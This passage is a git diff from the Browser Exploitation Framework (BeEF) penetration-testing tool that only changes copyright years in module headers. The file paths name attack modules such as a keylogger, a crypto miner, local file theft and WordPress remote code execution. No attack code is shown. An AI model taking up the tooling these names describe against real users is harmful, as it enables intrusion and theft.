b/modules/ipec/s2c_dns_tunnel/config.yaml index ac6e4cd78..6601080c5 100644 --- a/modules/ipec/s2c_dns_tunnel/config.yaml +++ b/modules/ipec/s2c_dns_tunnel/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/ipec/s2c_dns_tunnel/module.rb b/modules/ipec/s2c_dns_tunnel/module.rb index 23fecf05e..6c0569268 100644 --- a/modules/ipec/s2c_dns_tunnel/module.rb +++ b/modules/ipec/s2c_dns_tunnel/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/metasploit/browser_autopwn/command.js b/modules/metasploit/browser_autopwn/command.js index 74eb9edb2..8ff10522b 100644 --- a/modules/metasploit/browser_autopwn/command.js +++ b/modules/metasploit/browser_autopwn/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/metasploit/browser_autopwn/config.yaml b/modules/metasploit/browser_autopwn/config.yaml index 7e3053764..e4597c241 100644 --- a/modules/metasploit/browser_autopwn/config.yaml +++ b/modules/metasploit/browser_autopwn/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/metasploit/browser_autopwn/module.rb b/modules/metasploit/browser_autopwn/module.rb index 277feab7f..1fd35d979 100644 --- a/modules/metasploit/browser_autopwn/module.rb +++ b/modules/metasploit/browser_autopwn/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/misc/blockui/command.js b/modules/misc/blockui/command.js index af3592d12..55548afe2 100644 --- a/modules/misc/blockui/command.js +++ b/modules/misc/blockui/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/misc/blockui/config.yaml b/modules/misc/blockui/config.yaml index bd99a4ede..cdda973b7 100644 --- a/modules/misc/blockui/config.yaml +++ b/modules/misc/blockui/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/misc/blockui/module.rb b/modules/misc/blockui/module.rb index 7d4bb1f2f..9b7a0be78 100644 --- a/modules/misc/blockui/module.rb +++ b/modules/misc/blockui/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/misc/cryptoloot_miner/command.js b/modules/misc/cryptoloot_miner/command.js index 39a4e03b8..1d4050b27 100644 --- a/modules/misc/cryptoloot_miner/command.js +++ b/modules/misc/cryptoloot_miner/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/misc/cryptoloot_miner/config.yaml b/modules/misc/cryptoloot_miner/config.yaml index c42e1dde6..9c690b69a 100644 --- a/modules/misc/cryptoloot_miner/config.yaml +++ b/modules/misc/cryptoloot_miner/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/misc/cryptoloot_miner/module.rb b/modules/misc/cryptoloot_miner/module.rb index f79be5ace..835ec7cb1 100644 --- a/modules/misc/cryptoloot_miner/module.rb +++ b/modules/misc/cryptoloot_miner/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/misc/ibm_inotes/extract_inotes_list/command.js b/modules/misc/ibm_inotes/extract_inotes_list/command.js index 88914495e..6e454f0cc 100644 --- a/modules/misc/ibm_inotes/extract_inotes_list/command.js +++ b/modules/misc/ibm_inotes/extract_inotes_list/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn wade@bindshell.net // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. diff --git a/modules/misc/ibm_inotes/extract_inotes_list/config.yaml b/modules/misc/ibm_inotes/extract_inotes_list/config.yaml index 73d7ba8e5..6c288faac 100644 --- a/modules/misc/ibm_inotes/extract_inotes_list/config.yaml +++ b/modules/misc/ibm_inotes/extract_inotes_list/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn wade@bindshell.net # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. diff --git a/modules/misc/ibm_inotes/extract_inotes_list/module.rb b/modules/misc/ibm_inotes/extract_inotes_list/module.rb index e8027c787..e3d4a7ee6 100644 --- a/modules/misc/ibm_inotes/extract_inotes_list/module.rb +++ b/modules/misc/ibm_inotes/extract_inotes_list/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn wade@bindshell.net # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. diff --git a/modules/misc/ibm_inotes/inotes_flooder/command.js b/modules/misc/ibm_inotes/inotes_flooder/command.js index 6d46a985a..1119cf1d2 100644 --- a/modules/misc/ibm_inotes/inotes_flooder/command.js +++ b/modules/misc/ibm_inotes/inotes_flooder/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn wade@bindshell.net // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. diff --git a/modules/misc/ibm_inotes/inotes_flooder/config.yaml b/modules/misc/ibm_inotes/inotes_flooder/config.yaml index 1598bdbca..2c8d393a4 100644 --- a/modules/misc/ibm_inotes/inotes_flooder/config.yaml +++ b/modules/misc/ibm_inotes/inotes_flooder/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn wade@bindshell.net # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. diff --git a/modules/misc/ibm_inotes/inotes_flooder/module.rb b/modules/misc/ibm_inotes/inotes_flooder/module.rb index 27d0ad184..b3f1f595b 100644 --- a/modules/misc/ibm_inotes/inotes_flooder/module.rb +++ b/modules/misc/ibm_inotes/inotes_flooder/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn wade@bindshell.net # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. diff --git a/modules/misc/ibm_inotes/read_inotes/command.js b/modules/misc/ibm_inotes/read_inotes/command.js index 41d334f66..52a52d30d 100644 --- a/modules/misc/ibm_inotes/read_inotes/command.js +++ b/modules/misc/ibm_inotes/read_inotes/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn wade@bindshell.net // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. diff --git a/modules/misc/ibm_inotes/read_inotes/config.yaml b/modules/misc/ibm_inotes/read_inotes/config.yaml index f3cc686d5..17e2c66f4 100644 --- a/modules/misc/ibm_inotes/read_inotes/config.yaml +++ b/modules/misc/ibm_inotes/read_inotes/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn wade@bindshell.net # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. diff --git a/modules/misc/ibm_inotes/read_inotes/module.rb b/modules/misc/ibm_inotes/read_inotes/module.rb index d7da97b3d..b592e5151 100644 --- a/modules/misc/ibm_inotes/read_inotes/module.rb +++ b/modules/misc/ibm_inotes/read_inotes/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn wade@bindshell.net # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. diff --git a/modules/misc/ibm_inotes/send_inotes/command.js b/modules/misc/ibm_inotes/send_inotes/command.js index bc47a0cc9..4fd910f5b 100644 --- a/modules/misc/ibm_inotes/send_inotes/command.js +++ b/modules/misc/ibm_inotes/send_inotes/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn wade@bindshell.net // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. diff --git a/modules/misc/ibm_inotes/send_inotes/config.yaml b/modules/misc/ibm_inotes/send_inotes/config.yaml index 8a641f796..4df0ac06a 100644 --- a/modules/misc/ibm_inotes/send_inotes/config.yaml +++ b/modules/misc/ibm_inotes/send_inotes/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn wade@bindshell.net # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. diff --git a/modules/misc/ibm_inotes/send_inotes/module.rb b/modules/misc/ibm_inotes/send_inotes/module.rb index c1927ab01..ea94f615f 100644 --- a/modules/misc/ibm_inotes/send_inotes/module.rb +++ b/modules/misc/ibm_inotes/send_inotes/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn wade@bindshell.net # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. diff --git a/modules/misc/ibm_inotes/send_inotes_with_attachment/command.js b/modules/misc/ibm_inotes/send_inotes_with_attachment/command.js index cba197537..ba6f7a365 100644 --- a/modules/misc/ibm_inotes/send_inotes_with_attachment/command.js +++ b/modules/misc/ibm_inotes/send_inotes_with_attachment/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn wade@bindshell.net // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. diff --git a/modules/misc/ibm_inotes/send_inotes_with_attachment/config.yaml b/modules/misc/ibm_inotes/send_inotes_with_attachment/config.yaml index 7ce15b906..082bca2be 100644 --- a/modules/misc/ibm_inotes/send_inotes_with_attachment/config.yaml +++ b/modules/misc/ibm_inotes/send_inotes_with_attachment/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn wade@bindshell.net # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. diff --git a/modules/misc/ibm_inotes/send_inotes_with_attachment/module.rb b/modules/misc/ibm_inotes/send_inotes_with_attachment/module.rb index 6c935e54f..776514c4c 100644 --- a/modules/misc/ibm_inotes/send_inotes_with_attachment/module.rb +++ b/modules/misc/ibm_inotes/send_inotes_with_attachment/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn wade@bindshell.net # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. diff --git a/modules/misc/iframe_keylogger/command.js b/modules/misc/iframe_keylogger/command.js index 6432039e5..9f17f0a3f 100644 --- a/modules/misc/iframe_keylogger/command.js +++ b/modules/misc/iframe_keylogger/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/misc/iframe_keylogger/config.yaml b/modules/misc/iframe_keylogger/config.yaml index fb90569e2..389c60267 100644 --- a/modules/misc/iframe_keylogger/config.yaml +++ b/modules/misc/iframe_keylogger/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/misc/iframe_keylogger/module.rb b/modules/misc/iframe_keylogger/module.rb index 60d43eb89..2820541ae 100644 --- a/modules/misc/iframe_keylogger/module.rb +++ b/modules/misc/iframe_keylogger/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/misc/iframe_sniffer/command.js b/modules/misc/iframe_sniffer/command.js index ddeb40d35..878a2ace0 100644 --- a/modules/misc/iframe_sniffer/command.js +++ b/modules/misc/iframe_sniffer/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/misc/iframe_sniffer/config.yaml b/modules/misc/iframe_sniffer/config.yaml index e21fd2876..9b80dc0ea 100644 --- a/modules/misc/iframe_sniffer/config.yaml +++ b/modules/misc/iframe_sniffer/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/misc/iframe_sniffer/module.rb b/modules/misc/iframe_sniffer/module.rb index 2f9e71338..f681716b4 100644 --- a/modules/misc/iframe_sniffer/module.rb +++ b/modules/misc/iframe_sniffer/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/misc/invisible_iframe/command.js b/modules/misc/invisible_iframe/command.js index 6c24333d8..9e3d53ced 100644 --- a/modules/misc/invisible_iframe/command.js +++ b/modules/misc/invisible_iframe/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/misc/invisible_iframe/config.yaml b/modules/misc/invisible_iframe/config.yaml index 2fe6888c0..d872a6f48 100644 --- a/modules/misc/invisible_iframe/config.yaml +++ b/modules/misc/invisible_iframe/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/misc/invisible_iframe/module.rb b/modules/misc/invisible_iframe/module.rb index 4ab001879..651dd71b8 100644 --- a/modules/misc/invisible_iframe/module.rb +++ b/modules/misc/invisible_iframe/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/misc/local_file_theft/command.js b/modules/misc/local_file_theft/command.js index 2315f4661..740526126 100644 --- a/modules/misc/local_file_theft/command.js +++ b/modules/misc/local_file_theft/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/misc/local_file_theft/config.yaml b/modules/misc/local_file_theft/config.yaml index 3124105a9..f2464a91e 100644 --- a/modules/misc/local_file_theft/config.yaml +++ b/modules/misc/local_file_theft/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/misc/local_file_theft/module.rb b/modules/misc/local_file_theft/module.rb index c2a3590d9..859944b3f 100644 --- a/modules/misc/local_file_theft/module.rb +++ b/modules/misc/local_file_theft/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/misc/nosleep/command.js b/modules/misc/nosleep/command.js index 456b6ed69..7d0c586bf 100644 --- a/modules/misc/nosleep/command.js +++ b/modules/misc/nosleep/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/misc/nosleep/config.yaml b/modules/misc/nosleep/config.yaml index 2968bd776..85baa157b 100644 --- a/modules/misc/nosleep/config.yaml +++ b/modules/misc/nosleep/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/misc/nosleep/module.rb b/modules/misc/nosleep/module.rb index ec8857a80..1f3c9d5f7 100644 --- a/modules/misc/nosleep/module.rb +++ b/modules/misc/nosleep/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/misc/raw_javascript/command.js b/modules/misc/raw_javascript/command.js index 4df801e70..de9578457 100644 --- a/modules/misc/raw_javascript/command.js +++ b/modules/misc/raw_javascript/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/misc/raw_javascript/config.yaml b/modules/misc/raw_javascript/config.yaml index 0f5244139..010f52b4e 100644 --- a/modules/misc/raw_javascript/config.yaml +++ b/modules/misc/raw_javascript/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/misc/raw_javascript/module.rb b/modules/misc/raw_javascript/module.rb index ccf8096f3..ccd5b5ef0 100644 --- a/modules/misc/raw_javascript/module.rb +++ b/modules/misc/raw_javascript/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/misc/read_gmail/command.js b/modules/misc/read_gmail/command.js index f53dd0a9f..09544123a 100644 --- a/modules/misc/read_gmail/command.js +++ b/modules/misc/read_gmail/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn wade@bindshell.net // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. diff --git a/modules/misc/read_gmail/config.yaml b/modules/misc/read_gmail/config.yaml index aa4198baa..69660f9ef 100644 --- a/modules/misc/read_gmail/config.yaml +++ b/modules/misc/read_gmail/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn wade@bindshell.net # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. diff --git a/modules/misc/read_gmail/module.rb b/modules/misc/read_gmail/module.rb index 01856eae7..975ad4837 100644 --- a/modules/misc/read_gmail/module.rb +++ b/modules/misc/read_gmail/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn wade@bindshell.net # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. diff --git a/modules/misc/track_physical_movement/command.js b/modules/misc/track_physical_movement/command.js index 2d243157b..9ef031872 100644 --- a/modules/misc/track_physical_movement/command.js +++ b/modules/misc/track_physical_movement/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/misc/track_physical_movement/config.yaml b/modules/misc/track_physical_movement/config.yaml index f2b40cd6a..5a831218e 100644 --- a/modules/misc/track_physical_movement/config.yaml +++ b/modules/misc/track_physical_movement/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/misc/track_physical_movement/module.rb b/modules/misc/track_physical_movement/module.rb index d39d959d7..8c68de1b7 100644 --- a/modules/misc/track_physical_movement/module.rb +++ b/modules/misc/track_physical_movement/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/misc/unblockui/command.js b/modules/misc/unblockui/command.js index ab89dcaac..57fa68df8 100644 --- a/modules/misc/unblockui/command.js +++ b/modules/misc/unblockui/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/misc/unblockui/config.yaml b/modules/misc/unblockui/config.yaml index 3d0eaf107..ef3710c1f 100644 --- a/modules/misc/unblockui/config.yaml +++ b/modules/misc/unblockui/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/misc/unblockui/module.rb b/modules/misc/unblockui/module.rb index 4a6d0de85..990cfe465 100644 --- a/modules/misc/unblockui/module.rb +++ b/modules/misc/unblockui/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/misc/wordpress/upload_rce_plugin/beefbind.php b/modules/misc/wordpress/upload_rce_plugin/beefbind.php index b74b23560..e1c3160ea 100644 --- a/modules/misc/wordpress/upload_rce_plugin/beefbind.php +++ b/modules/misc/wordpress/upload_rce_plugin/beefbind.php @@ -6,7 +6,7 @@ * Version: 1.1 * Authors: Bart Leppens, Erwan LR (@erwan_lr | WPScanTeam) * Author URI: https://twitter.com/bmantra - * License: Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net - Browser Exploitation Framework (BeEF) - http://beefproject.com - See the file 'doc/COPYING' for copying permission + * License: Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net - Browser Exploitation Framework (BeEF) - http://beefproject.com - See the file 'doc/COPYING' for copying permission **/ header("Access-Control-Allow-Origin: *"); diff --git a/modules/misc/wordpress/upload_rce_plugin/config.yaml b/modules/misc/wordpress/upload_rce_plugin/config.yaml index 8891812e7..794cd4e6a 100644 --- a/modules/misc/wordpress/upload_rce_plugin/config.yaml +++ b/modules/misc/wordpress/upload_rce_plugin/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/misc/wordpress_post_auth_rce/command.js b/modules/misc/wordpress_post_auth_rce/command.js index 104897d02..43c2b00f7 100644 --- a/modules/misc/wordpress_post_auth_rce/command.js +++ b/modules/misc/wordpress_post_auth_rce/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/misc/wordpress_post_auth_rce/config.yaml b/modules/misc/wordpress_post_auth_rce/config.yaml index c6cc77841..fbf7fbb19 100644 --- a/modules/misc/wordpress_post_auth_rce/config.yaml +++ b/modules/misc/wordpress_post_auth_rce/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/misc/wordpress_post_auth_rce/module.rb b/modules/misc/wordpress_post_auth_rce/module.rb index 95f640dc5..c203b94f8 100644 --- a/modules/misc/wordpress_post_auth_rce/module.rb +++ b/modules/misc/wordpress_post_auth_rce/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/network/ADC/f5_bigip_cookie_disclosure/command.js b/modules/network/ADC/f5_bigip_cookie_disclosure/command.js index ceffcfa28..6b55997ac 100644 --- a/modules/network/ADC/f5_bigip_cookie_disclosure/command.js +++ b/modules/network/ADC/f5_bigip_cookie_disclosure/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/network/ADC/f5_bigip_cookie_disclosure/config.yaml b/modules/network/ADC/f5_bigip_cookie_disclosure/config.yaml index fad29f8e8..754803ccf 100644 --- a/modules/network/ADC/f5_bigip_cookie_disclosure/config.yaml +++ b/modules/network/ADC/f5_bigip_cookie_disclosure/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # 